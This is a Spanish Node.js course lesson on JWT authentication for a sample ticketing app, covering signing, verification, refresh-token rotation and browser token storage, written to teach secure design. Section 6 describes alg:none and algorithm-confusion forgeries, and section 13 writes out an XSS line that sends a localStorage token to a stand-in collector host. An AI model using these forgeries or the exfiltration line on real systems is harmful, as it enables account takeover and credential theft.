Las sesiones de la lección anterior funcionan y son una gran opción. Pero también dejaron dos facturas sobre la mesa: exigen estado compartido (Redis en cuanto haya más de un proceso) y encajan mal fuera del navegador, justo donde Escena Viva quiere llegar con una app de validación de entradas en la puerta del Auditorio Ribera.

Los JSON Web Tokens invierten el planteamiento: en vez de guardar el estado en el servidor y darle al cliente un puntero opaco, se le entrega información firmada y el servidor se limita a verificar la firma. Suena ideal, y por eso se usan tan mal. Vamos a ver qué hay realmente dentro de un JWT, por qué firmar no es cifrar, qué ataques concretos hay que bloquear, y cómo se resuelve el problema que nadie puede ignorar: un JWT no se puede revocar.

Contenido

  1. Anatomía de un JSON Web Token
  2. Decodificarlo a mano en el REPL
  3. HS256 frente a RS256
  4. Reclamaciones estándar y propias
  5. jsonwebtoken: firmar y verificar
  6. Los ataques alg: none y de confusión de algoritmos
  7. El secreto en la configuración
  8. El problema real: no se pueden revocar
  9. El patrón de Escena Viva: acceso corto + refresco rotatorio
  10. Implementación: src/servicios/tokens.js
  11. Rutas de login, refresco y logout
  12. El middleware autenticar
  13. Dónde NO guardar el token en el navegador
  14. Errores clásicos, ejercicios y conclusión

  1. Anatomía de un JSON Web Token

Un JWT son tres partes separadas por puntos: eyJhbGciOiJIUzI1NiJ9 (cabecera) . eyJzdWIiOiI2NGYwMDEiLCJyb2wiOiJhc2lzdGVudGUifQ (carga útil) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (firma).

La cabecera dice qué algoritmo firma el token; la carga útil contiene las reclamaciones (claims), los datos que afirmamos; la firma prueba que las dos partes anteriores no se han modificado. Las dos primeras están codificadas en base64url, la variante que vimos en el módulo 3 con los Buffers: usa - y _ en lugar de + y /, y elimina el relleno = para que el token viaje limpio en URLs y cabeceras. Y aquí está el punto que hay que grabar a fuego:

base64url no es cifrado, es codificación. Cualquiera que tenga el token puede leer su contenido. Firmar no es cifrar.

Firmar garantiza integridad y autenticidad (nadie lo ha modificado, lo emitió quien dice), no confidencialidad.

  1. Decodificarlo a mano en el REPL

Demostrémoslo sin bibliotecas, con lo que sabemos del módulo 3:

// node
const [cabecera, cargaUtil, firma] = token.split('.');
// Buffer.from con 'base64url': soportado de forma nativa (modulo 3).
JSON.parse(Buffer.from(cabecera, 'base64url').toString('utf8'));
// { alg: 'HS256', typ: 'JWT' }
JSON.parse(Buffer.from(cargaUtil, 'base64url').toString('utf8'));
// { sub: '64f001', rol: 'asistente', iat: 1755120000, exp: 1755120900 }
firma.length; // 43 caracteres: 32 bytes de HMAC-SHA256 en base64url

Sin secreto, sin biblioteca, sin permiso: acabamos de leer el contenido completo. Consecuencias prácticas: nunca metas en un JWT la contraseña, el hash, un número de tarjeta ni una nota interna; asume que el usuario verá su rol, su sub y su exp (no pasa nada, son suyos); y si de verdad necesitas confidencialidad existe JWE, aunque casi siempre es más simple no meter secretos dentro. Lo que no puede hacer nadie sin el secreto es cambiar "rol":"asistente" por "rol":"administrador" y producir una firma válida: verify lo rechaza.

  1. HS256 frente a RS256

HS256 (HMAC-SHA256) RS256 (RSA + SHA256)
Tipo Simétrico: un secreto compartido Asimétrico: clave privada firma, pública verifica
Quién puede firmar Todo el que pueda verificar Solo quien tiene la privada
Tamaño de firma / velocidad 32 bytes, muy rápida 256 bytes, firma lenta
Cuándo usarlo Un solo servicio emite y verifica Varios servicios verifican, uno emite

Regla de decisión: si el mismo sistema emite y verifica, HS256 es perfecto y más simple. Si necesitas que servicios de terceros verifiquen sin poder emitir —microservicios, un proveedor de identidad externo—, necesitas RS256 (o ES256, con curvas elípticas, más compacto): repartes la clave pública sin miedo porque no permite falsificar. Escena Viva es hoy un único servicio Node, así que HS256, aislado en un módulo para que migrar el día que haya microservicios sea cambiar un fichero.

  1. Reclamaciones estándar y propias

Reclamación Significado Uso en Escena Viva
sub (subject) A quién identifica el token Id del usuario
iat / exp Cuándo se emitió y cuándo caduca (época en segundos) Auditoría; 15 minutos de acceso
nbf (not before) No válido antes de esta fecha No lo usamos
iss / aud Quién lo emitió y para quién es escena-viva-api / escena-viva-clientes
jti (JWT ID) Identificador único del token En el refresco, para revocarlo

Las nuestras: rol (asistente, organizador, administrador) y, para los organizadores, sala. Dos reglas sobre el contenido: nada sensible, porque es legible por cualquiera; y nada voluminoso, porque el token viaja en una cabecera en cada petición y puede chocar con los límites habituales de 8 KB de proxies y servidores. Y una advertencia que retomaremos en 08-05: rol dentro del token es una fotografía del momento de la emisión; si un administrador degrada a un organizador, su token seguirá diciendo organizador hasta que caduque. Por eso el token de acceso es corto.

  1. jsonwebtoken: firmar y verificar

// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const token = jwt.sign({ rol: 'asistente' }, configuracion.jwtSecretoAcceso,
  { subject: '64f001', expiresIn: '15m', issuer: 'escena-viva-api',
    audience: 'escena-viva-clientes', algorithm: 'HS256' });
const carga = jwt.verify(token, configuracion.jwtSecretoAcceso, {
  algorithms: ['HS256'],  // LA LINEA MAS IMPORTANTE: lista blanca de algoritmos
  issuer: 'escena-viva-api', audience: 'escena-viva-clientes',
  clockTolerance: 5,      // margen por desfase de relojes entre maquinas
});

verify comprueba, en este orden: que la firma es válida, que exp no ha pasado, que nbf ya llegó, y que iss y aud coinciden. Si algo falla lanza una excepción; nunca devuelve un token inválido. Los errores que hay que distinguir: TokenExpiredError (firma válida, exp pasado → el cliente debe refrescar), JsonWebTokenError (firma incorrecta, formato roto, iss/aud distintos) y NotBeforeError (nbf en el futuro).

  1. Los ataques alg: none y de confusión de algoritmos

Esta sección explica por qué la lista algorithms no es opcional.

Ataque alg: none. La especificación contempla un algoritmo none, pensado para tokens ya protegidos por otro medio. El ataque es descarado: el atacante envía la cabecera {"alg":"none","typ":"JWT"}, la carga {"sub":"64f001","rol":"administrador","exp":9999999999} y la firma vacía. Si la biblioteca hace caso a la cabecera para decidir cómo verificar, concluye que no hay nada que verificar y acepta el token: el atacante se ha nombrado administrador escribiendo JSON. Confusión de algoritmos (RS256 → HS256). Más sutil y más elegante. Supón que el servidor usa RS256 y publica su clave pública, como debe. El atacante cambia la cabecera a "alg":"HS256", firma el token con HMAC usando la clave pública como secreto, y el servidor lee alg: HS256, coge «su clave» —la pública, la única que tiene— y la usa como secreto HMAC. La firma cuadra.

El fallo de fondo es el mismo en ambos casos: dejar que el atacante elija el algoritmo de verificación. La defensa es una línea:

// NUNCA: jwt.verify(token, secreto)  <- acepta lo que diga la cabecera
jwt.verify(token, secreto, { algorithms: ['HS256'] }); // SIEMPRE

Las versiones modernas de jsonwebtoken ya mitigan buena parte de esto, pero fijar algorithms explícitamente sigue siendo obligatorio: es la defensa que no depende de la versión que acabe instalada. Regla general: la política de verificación la decide el que verifica, nunca el mensaje que llega.

  1. El secreto en la configuración

// src/config/index.js  (fragmento anadido en el modulo 8)
const jwtSecretoAcceso = process.env.JWT_SECRETO_ACCESO;
const jwtSecretoRefresco = process.env.JWT_SECRETO_REFRESCO;
// Validacion al arrancar: fallar rapido y ruidosamente.
if (entorno === 'produccion') {
  for (const [nombre, valor] of Object.entries({ jwtSecretoAcceso, jwtSecretoRefresco })) {
    if (!valor || valor.length < 32) { throw new Error(`${nombre} debe tener 32+ caracteres`); }
  }
  // Secretos distintos: un refresco jamas debe colar como token de acceso.
  if (jwtSecretoAcceso === jwtSecretoRefresco) { throw new Error('Deben ser distintos'); }
}

Generar un secreto en condiciones: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 bytes aleatorios (384 bits) es holgado para HS256; una frase memorizable no vale, porque el ataque contra un secreto HMAC débil es un ataque de diccionario offline sobre cualquier token capturado. Un secreto por propósito, nunca compartido, y nunca en el repositorio (el .env está en .gitignore desde el módulo 5). Para rotar se mantiene una lista [nuevo, anterior]: se firma con el primero y se verifica contra todos hasta que caducan los antiguos. La gestión de secretos en producción se cierra en el módulo 11.

  1. El problema real: no se pueden revocar

Un JWT es válido hasta que caduca, y el servidor no tiene forma de opinar. Es consecuencia directa de su virtud: si no hay estado, no hay nada que borrar.

Situación Con sesión Con JWT puro
Lucía pulsa «cerrar sesión» Se destruye la sesión: fuera al instante El token sigue funcionando; solo se borró del cliente
Se degrada a un organizador Rol nuevo en la petición siguiente Sigue siendo organizador hasta que caduque
Cuenta comprometida o contraseña cambiada Se borran sus sesiones No hay forma de expulsarlo: los tokens siguen vivos

Las respuestas habituales y su veredicto honesto: una lista negra de tokens revocados funciona, pero reintroduce el estado que justificaba usar JWT; tokens muy cortos reducen la ventana sin eliminarla, y obligan a reautenticarse a menudo; comprobar en cada petición si el usuario sigue activo es una consulta por petición… que es exactamente lo que hace una sesión. La respuesta madura de la industria combina las dos primeras, y es la que adoptamos.

  1. El patrón de Escena Viva: acceso corto + refresco rotatorio

Token de acceso Token de refresco
Duración 15 minutos 30 días
Dónde vive en el cliente En memoria de JavaScript Cookie HttpOnly+Secure+SameSite=Strict
Cómo viaja Authorization: Bearer Automáticamente, solo a /auth/refrescar
Estado en servidor / revocable Ninguno; no revocable (caduca en 15 min) Su hash en la base; revocable al instante

La idea: el token que se usa constantemente no es revocable pero apenas dura; el token que dura es revocable y casi no se usa. El daño de un token de acceso robado se limita a 15 minutos; el de refresco se puede matar en la base. Añadimos dos refinamientos imprescindibles: rotación (cada uso del refresco lo invalida y emite uno nuevo, así un refresco capturado solo sirve una vez) y detección de reutilización (los refrescos de un mismo inicio de sesión forman una familia; si llega uno ya consumido, o el atacante usó el robado y el legítimo llega después, o al revés, y en ambos casos se revoca la familia entera).

sequenceDiagram
  participant C as Cliente
  participant A as API
  participant D as MongoDB
  C->>A: POST /auth/login
  A->>D: Guardar hash(R1), familia F, usado=false
  A-->>C: {tokenAcceso (15 min)} + Set-Cookie refresco=R1
  Note over C,A: 15 minutos despues, el acceso caduca
  C->>A: GET /api/pedidos (Bearer caducado)
  A-->>C: 401 TOKEN_CADUCADO
  C->>A: POST /auth/refrescar (Cookie: refresco=R1)
  A->>D: hash(R1) valido y sin usar
  A->>D: Marcar R1 usado; guardar hash(R2) en familia F
  A-->>C: {tokenAcceso nuevo} + Set-Cookie refresco=R2
  Note over C,A: Un atacante reutiliza el R1 robado
  C->>A: POST /auth/refrescar (Cookie: refresco=R1)
  A->>D: hash(R1) existe pero usado=true -> REUTILIZACION
  A->>D: Revocar TODA la familia F
  A-->>C: 401: hay que iniciar sesion de nuevo

  1. Implementación: src/servicios/tokens.js

El modelo TokenRefresco guarda usuarioId, el hash SHA-256 del token (nunca el token: si se filtra la base, los refrescos almacenados son inservibles), un familiaId común a toda la cadena de un inicio de sesión, las banderas usado y revocado, el agenteUsuario para la pantalla de «mis dispositivos», y expiraEn con índice TTL.

// src/servicios/tokens.js
'use strict';
const jwt = require('jsonwebtoken');
const { randomBytes, randomUUID, createHash } = require('node:crypto');
const { configuracion } = require('../config/index.js');
const { TokenRefresco } = require('../modelos/token-refresco.js');
const { ErrorDeAutenticacion } = require('../errores.js');
const EMISOR = 'escena-viva-api';
const AUDIENCIA = 'escena-viva-clientes';
const VIDA_ACCESO = '15m';
const VIDA_REFRESCO_MS = 30 * 24 * 60 * 60 * 1000;
const hashearToken = (token) => createHash('sha256').update(token).digest('hex');

function firmarAcceso(usuario) {
  return jwt.sign({ rol: usuario.rol, sala: usuario.salaAsignada || undefined },
    configuracion.jwtSecretoAcceso, { subject: String(usuario.id), expiresIn: VIDA_ACCESO,
      issuer: EMISOR, audience: AUDIENCIA, algorithm: 'HS256' });
}
function verificarAcceso(token) {
  try {
    const carga = jwt.verify(token, configuracion.jwtSecretoAcceso, {
      algorithms: ['HS256'],  // lista blanca: bloquea alg:none y confusion
      issuer: EMISOR, audience: AUDIENCIA, clockTolerance: 5,
    });
    return { id: carga.sub, rol: carga.rol, sala: carga.sala || null };
  } catch (error) {
    // Distinguimos caducado de invalido: el cliente debe saber si le toca
    // refrescar o volver a iniciar sesion.
    if (error.name === 'TokenExpiredError') {
      throw new ErrorDeAutenticacion('El token de acceso ha caducado', { motivo: 'TOKEN_CADUCADO' });
    }
    throw new ErrorDeAutenticacion('Token de acceso invalido', { motivo: 'TOKEN_INVALIDO' });
  }
}
async function emitirRefresco(usuarioId, opciones = {}) {
  const familiaId = opciones.familiaId || randomUUID();
  // Token opaco de 256 bits: no necesita ser un JWT porque siempre se
  // consulta en la base. Menos superficie, menos que verificar.
  const token = randomBytes(32).toString('base64url');
  await TokenRefresco.create({ usuarioId, familiaId, hashToken: hashearToken(token),
    agenteUsuario: opciones.agenteUsuario || null,
    expiraEn: new Date(Date.now() + VIDA_REFRESCO_MS) });
  return { token, familiaId };
}
async function revocarFamilia(familiaId) {
  await TokenRefresco.updateMany({ familiaId }, { $set: { revocado: true } });
}
async function rotarRefresco(token, opciones = {}) {
  const registro = await TokenRefresco.findOne({ hashToken: hashearToken(token) });
  if (!registro || registro.revocado || registro.expiraEn.getTime() < Date.now()) {
    throw new ErrorDeAutenticacion('Sesion no valida', { motivo: 'REFRESCO_INVALIDO' });
  }
  if (registro.usado) {
    // REUTILIZACION: o lo robaron y lo usan ahora, o lo usaron ellos y llega
    // el legitimo. No se puede saber cual, asi que cae toda la familia.
    await revocarFamilia(registro.familiaId);
    throw new ErrorDeAutenticacion('Sesion revocada por seguridad', { motivo: 'REFRESCO_REUTILIZADO' });
  }
  registro.usado = true;
  await registro.save();
  // El nuevo hereda la familia: la cadena sigue siendo rastreable.
  const nuevo = await emitirRefresco(registro.usuarioId, {
    familiaId: registro.familiaId, agenteUsuario: opciones.agenteUsuario });
  return { usuarioId: String(registro.usuarioId), ...nuevo };
}
module.exports = { firmarAcceso, verificarAcceso, emitirRefresco, rotarRefresco,
  revocarFamilia, hashearToken, VIDA_REFRESCO_MS };

Nota de diseño importante: el token de refresco no es un JWT. Como se consulta en la base en cada uso, ser autocontenido no aporta nada; un valor aleatorio opaco es más corto, más simple y no arrastra ninguno de los ataques de la sección 6.

  1. Rutas de login, refresco y logout

// src/controladores/autenticacion.js  (fragmento JWT)
const NOMBRE_COOKIE = 'ev.refresco';
const opcionesCookie = () => ({
  httpOnly: true,                                   // XSS no la lee
  secure: configuracion.entorno === 'produccion',   // solo HTTPS
  sameSite: 'strict',                               // anti CSRF en /refrescar
  path: '/auth/refrescar',                          // no viaja al resto de la API
  maxAge: VIDA_REFRESCO_MS,
});
async function iniciarSesionJwt(req, res, next) {
  try {
    const usuario = req.usuarioAutenticado; // lo dejo la verificacion de 08-02
    const { token } = await emitirRefresco(usuario.id, { agenteUsuario: req.get('user-agent') });
    res.cookie(NOMBRE_COOKIE, token, opcionesCookie());
    // El de acceso va en el CUERPO: el cliente lo guarda en memoria, no en
    // localStorage (seccion 13).
    res.json({ tokenAcceso: firmarAcceso(usuario), expiraEnSegundos: 900,
      usuario: { id: usuario.id, nombre: usuario.nombre, rol: usuario.rol } });
  } catch (error) { next(error); }
}
async function refrescar(req, res, next) {
  try {
    const tokenAntiguo = req.cookies[NOMBRE_COOKIE];
    if (!tokenAntiguo) {
      throw new ErrorDeAutenticacion('No hay sesion que refrescar', { motivo: 'SIN_REFRESCO' });
    }
    const { usuarioId, token } = await rotarRefresco(tokenAntiguo, { agenteUsuario: req.get('user-agent') });
    // Se relee el usuario: asi el rol del token nuevo esta ACTUALIZADO, que
    // es lo que acota el problema de los roles congelados.
    const usuario = await Usuario.findById(usuarioId).lean();
    if (!usuario) { throw new ErrorDeAutenticacion('Sesion no valida'); }
    res.cookie(NOMBRE_COOKIE, token, opcionesCookie());
    res.json({ expiraEnSegundos: 900, tokenAcceso: firmarAcceso(
      { id: usuarioId, rol: usuario.rol, salaAsignada: usuario.salaAsignada }) });
  } catch (error) { next(error); }
}
async function cerrarSesionJwt(req, res, next) {
  try {
    const token = req.cookies[NOMBRE_COOKIE];
    if (token) {
      const registro = await TokenRefresco.findOne({ hashToken: hashearToken(token) });
      // Se revoca la FAMILIA: cae toda la cadena de ese inicio de sesion.
      if (registro) { await revocarFamilia(registro.familiaId); }
    }
    res.clearCookie(NOMBRE_COOKIE, { ...opcionesCookie(), maxAge: undefined });
    res.status(204).end();
  } catch (error) { next(error); }
}

Sé honesto sobre lo que este logout consigue y lo que no: revoca el refresco al instante, pero el token de acceso que el cliente ya tiene sigue siendo válido hasta 15 minutos. Para operaciones críticas (anular entradas, cambiar roles) hay que comprobar el estado del usuario en la base, no solo la firma.

POST /auth/refrescar HTTP/1.1
Host: api.escenaviva.test
Cookie: ev.refresco=Qm5x...

HTTP/1.1 200 OK
Set-Cookie: ev.refresco=Zt7p...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refrescar; Max-Age=2592000

{ "tokenAcceso": "eyJhbGciOiJIUzI1NiIs...", "expiraEnSegundos": 900 }

  1. El middleware autenticar

// src/middleware/autenticar.js
'use strict';
const { verificarAcceso } = require('../servicios/tokens.js');
const { ErrorDeAutenticacion } = require('../errores.js');

function extraerToken(req) {
  const cabecera = req.get('authorization');
  if (!cabecera) { return null; }
  const [esquema, valor] = cabecera.split(' ');
  // El esquema se compara sin distinguir mayusculas (RFC 7235).
  if (!valor || esquema.toLowerCase() !== 'bearer') { return null; }
  return valor.trim();
}
function autenticar(req, res, next) {
  try {
    const token = extraerToken(req);
    if (!token) {
      throw new ErrorDeAutenticacion('Falta el token de acceso', { motivo: 'SIN_TOKEN' });
    }
    req.usuario = verificarAcceso(token); // lanza y distingue caducado de invalido
    next();
  } catch (error) { next(error); }
}
// Para rutas publicas que se enriquecen si hay sesion (por ejemplo, marcar
// los eventos que el usuario ya ha comprado).
function autenticarOpcional(req, res, next) {
  const token = extraerToken(req);
  if (!token) { return next(); }
  try {
    req.usuario = verificarAcceso(token);
  } catch {
    // Token malo en ruta publica: se ignora, no se rompe la navegacion.
  }
  next();
}
module.exports = { autenticar, autenticarOpcional };

Los casos de 401, distinguidos por motivo para que el cliente sepa qué hacer:

motivo Situación Qué debe hacer el cliente
SIN_TOKEN No hay cabecera Authorization Ir al login
TOKEN_CADUCADO Firma buena, exp pasado Llamar a /auth/refrescar y reintentar
TOKEN_INVALIDO Firma mala, iss/aud distintos, formato roto Ir al login; posible manipulación
REFRESCO_REUTILIZADO Reutilización detectada Login obligatorio; avisar al usuario

Fíjate en que req.usuario tiene la misma forma que dejaba exigirSesion en 08-03. Por eso los controladores y la autorización de 08-05 funcionan igual con sesión o con JWT.

  1. Dónde NO guardar el token en el navegador

Sitio Accesible por JS Veredicto
localStorage / sessionStorage Sí No para credenciales de larga vida
Variable en memoria Solo el propio código Recomendado para el token de acceso
Cookie HttpOnly No Recomendado para el refresco

localStorage es visible para todo el JavaScript de la página, incluido el que inyecte un XSS y el de cualquier dependencia de terceros. Un script malicioso hace fetch('https://recolector.test/r?t=' + localStorage.getItem('token')) y se acabó. Con la cookie HttpOnly no puede: document.cookie no la ve. El atacante con XSS todavía puede hacer peticiones desde la página de la víctima —el XSS es grave siempre—, pero no puede exfiltrar la credencial para usarla después desde otro sitio y durante 30 días. Esa diferencia entre «daño mientras la pestaña está abierta» y «cuenta comprometida indefinidamente» es exactamente lo que compramos. Y por eso el token de acceso va en memoria: si se pierde al recargar, una llamada a /auth/refrescar (con la cookie automática) devuelve uno nuevo. Es el patrón «refresco silencioso al arrancar».

Errores Comunes y Consejos

  • jwt.decode() en vez de jwt.verify(). decode no comprueba la firma: solo lee. Usarlo para autenticar equivale a no tener autenticación. Igual de grave: omitir algorithms en verify, o meter datos sensibles en la carga útil creyendo que va cifrada.
  • Tokens de acceso larguísimos («7 días, así no molesto al usuario»): un token robado sirve una semana.
  • Guardar el refresco en localStorage y perder toda la ventaja de HttpOnly; o no rotarlo, con lo que un refresco robado da acceso permanente.
  • Confiar en el rol del token para una acción crítica sin releer la base (08-05), o usar el mismo secreto para acceso y refresco, con lo que un refresco podría colar como token de acceso.
  • No manejar el 401 en el cliente: sin lógica de refresco y reintento, el usuario ve fallos aleatorios cada 15 minutos.
  • Poner el token en la URL (?token=...): queda en logs de proxies, en el historial y en la cabecera Referer.

Ejercicios

Ejercicio 1: inspeccionar y falsificar

En el REPL de Node: (a) decodifica la carga útil del token de la sección 2; (b) construye un token manipulado cambiando "rol":"asistente" por "rol":"administrador", reutilizando la firma original; (c) verifícalo con jwt.verify y explica qué ocurre y por qué.

Ejercicio 2: cliente con refresco automático

Escribe peticionAutenticada(url, opciones) para el front-end: usa el token de acceso guardado en memoria; si recibe un 401 con motivo: 'TOKEN_CADUCADO', llama a /auth/refrescar, guarda el token nuevo y reintenta una sola vez; ante cualquier otro 401, envía al usuario al login.

Ejercicio 3: sesión de un solo dispositivo

Escena Viva quiere que un asistente solo pueda tener una sesión activa: al iniciar sesión en un dispositivo nuevo, la anterior debe caer. Describe los cambios en emitirRefresco y explica qué límite tiene esta medida con el token de acceso.

Soluciones

Ejercicio 1

const [cab, carga, firma] = token.split('.');
const datos = JSON.parse(Buffer.from(carga, 'base64url').toString('utf8'));
datos.rol = 'administrador';
const tokenFalso = `${cab}.${Buffer.from(JSON.stringify(datos)).toString('base64url')}.${firma}`;
try { jwt.verify(tokenFalso, secreto, { algorithms: ['HS256'] }); }
catch (error) { console.log(error.name); } // JsonWebTokenError: invalid signature

La firma se calcula sobre cabecera.cargaUtil; al cambiar un solo byte de la carga, el HMAC recalculado ya no coincide con la firma adjunta. Leer el token es trivial; modificarlo es imposible sin el secreto. Eso es exactamente lo que significa «firmar no es cifrar»: no hay confidencialidad, sí hay integridad.

Ejercicio 2

let tokenAcceso = null; // en memoria, nunca en localStorage
async function peticionAutenticada(url, opciones = {}, reintentado = false) {
  const respuesta = await fetch(url, { ...opciones,
    headers: { ...opciones.headers, Authorization: `Bearer ${tokenAcceso}` },
    credentials: 'include' }); // necesario para que viaje la cookie de refresco
  if (respuesta.status !== 401) { return respuesta; }
  const cuerpo = await respuesta.clone().json().catch(() => ({}));
  // Solo se refresca si el motivo es caducidad, y solo una vez: sin ese
  // limite, un refresco que falle produce un bucle infinito.
  if (cuerpo?.error?.detalles?.motivo === 'TOKEN_CADUCADO' && !reintentado) {
    const refresco = await fetch('/auth/refrescar', { method: 'POST', credentials: 'include' });
    if (refresco.ok) {
      ({ tokenAcceso } = await refresco.json());
      return peticionAutenticada(url, opciones, true);
    }
  }
  tokenAcceso = null;
  window.location.href = '/login';
  return respuesta;
}

En producción conviene además encolar las peticiones concurrentes mientras se refresca, para no lanzar cinco refrescos a la vez y disparar la detección de reutilización contra uno mismo.

Ejercicio 3. En emitirRefresco, antes de crear el registro nuevo, se revocan todos los del usuario: if (opciones.dispositivoUnico) { await TokenRefresco.updateMany({ usuarioId, revocado: false }, { $set: { revocado: true } }); }.

El límite: el token de acceso del dispositivo anterior sigue siendo válido hasta 15 minutos, porque no se puede revocar; el otro dispositivo conserva acceso durante ese margen y solo cae al intentar refrescar. Si el requisito es un corte instantáneo, hay que añadir una comprobación en la base por petición —y en ese momento estás pagando el coste de una sesión, que es justo la decisión de diseño analizada en 08-03.

Conclusión

Ya sabemos qué es de verdad un JWT: tres partes en base64url —cabecera, carga útil y firma— con el contenido legible por cualquiera, porque firmar garantiza integridad y autenticidad, no confidencialidad. Sabemos cuándo HS256 y cuándo RS256, qué reclamaciones estándar existen y por qué el token debe ir ligero y sin secretos. Hemos blindado verify con algorithms explícitos, entendiendo los ataques alg: none y de confusión de algoritmos que esa línea neutraliza. Y hemos afrontado el problema de fondo —los JWT no se revocan— con la solución madura: token de acceso de 15 minutos en memoria del cliente, token de refresco de 30 días en cookie HttpOnly+Secure+SameSite=Strict, guardado hasheado, rotado en cada uso y con detección de reutilización que tumba la familia entera.

Escena Viva ya sabe quién hace cada petición: req.usuario está verificado, con su id y su rol, tanto por sesión como por token. Falta la otra mitad de la lección 08-01: qué puede hacer cada uno. Un asistente no debe leer los pedidos de otro; el organizador de la Sala Bóveda no debe publicar eventos del Teatro Almendra; solo un administrador cambia roles. En la lección siguiente, Control de Acceso Basado en Roles, construimos la matriz de permisos completa, el middleware exigirRol con su 403 bien diferenciado del 401, y la pieza que RBAC no cubre y que provoca la vulnerabilidad más común de las APIs: la propiedad del recurso.

Curso de Node.js: De Principiante a Avanzado

Módulo 1: Introducción a Node.js

Módulo 2: Conceptos Básicos

Módulo 3: Sistema de Archivos y E/S

Módulo 4: HTTP y Servidores Web

Módulo 5: NPM y Gestión de Paquetes

Módulo 6: Framework Express.js

Módulo 7: Bases de Datos y ORMs

Módulo 8: Autenticación y Autorización

Módulo 9: Pruebas y Depuración

Módulo 10: Temas Avanzados

Módulo 11: Despliegue y DevOps

Módulo 12: Proyectos del Mundo Real

© Copyright 2026. Todos los derechos reservados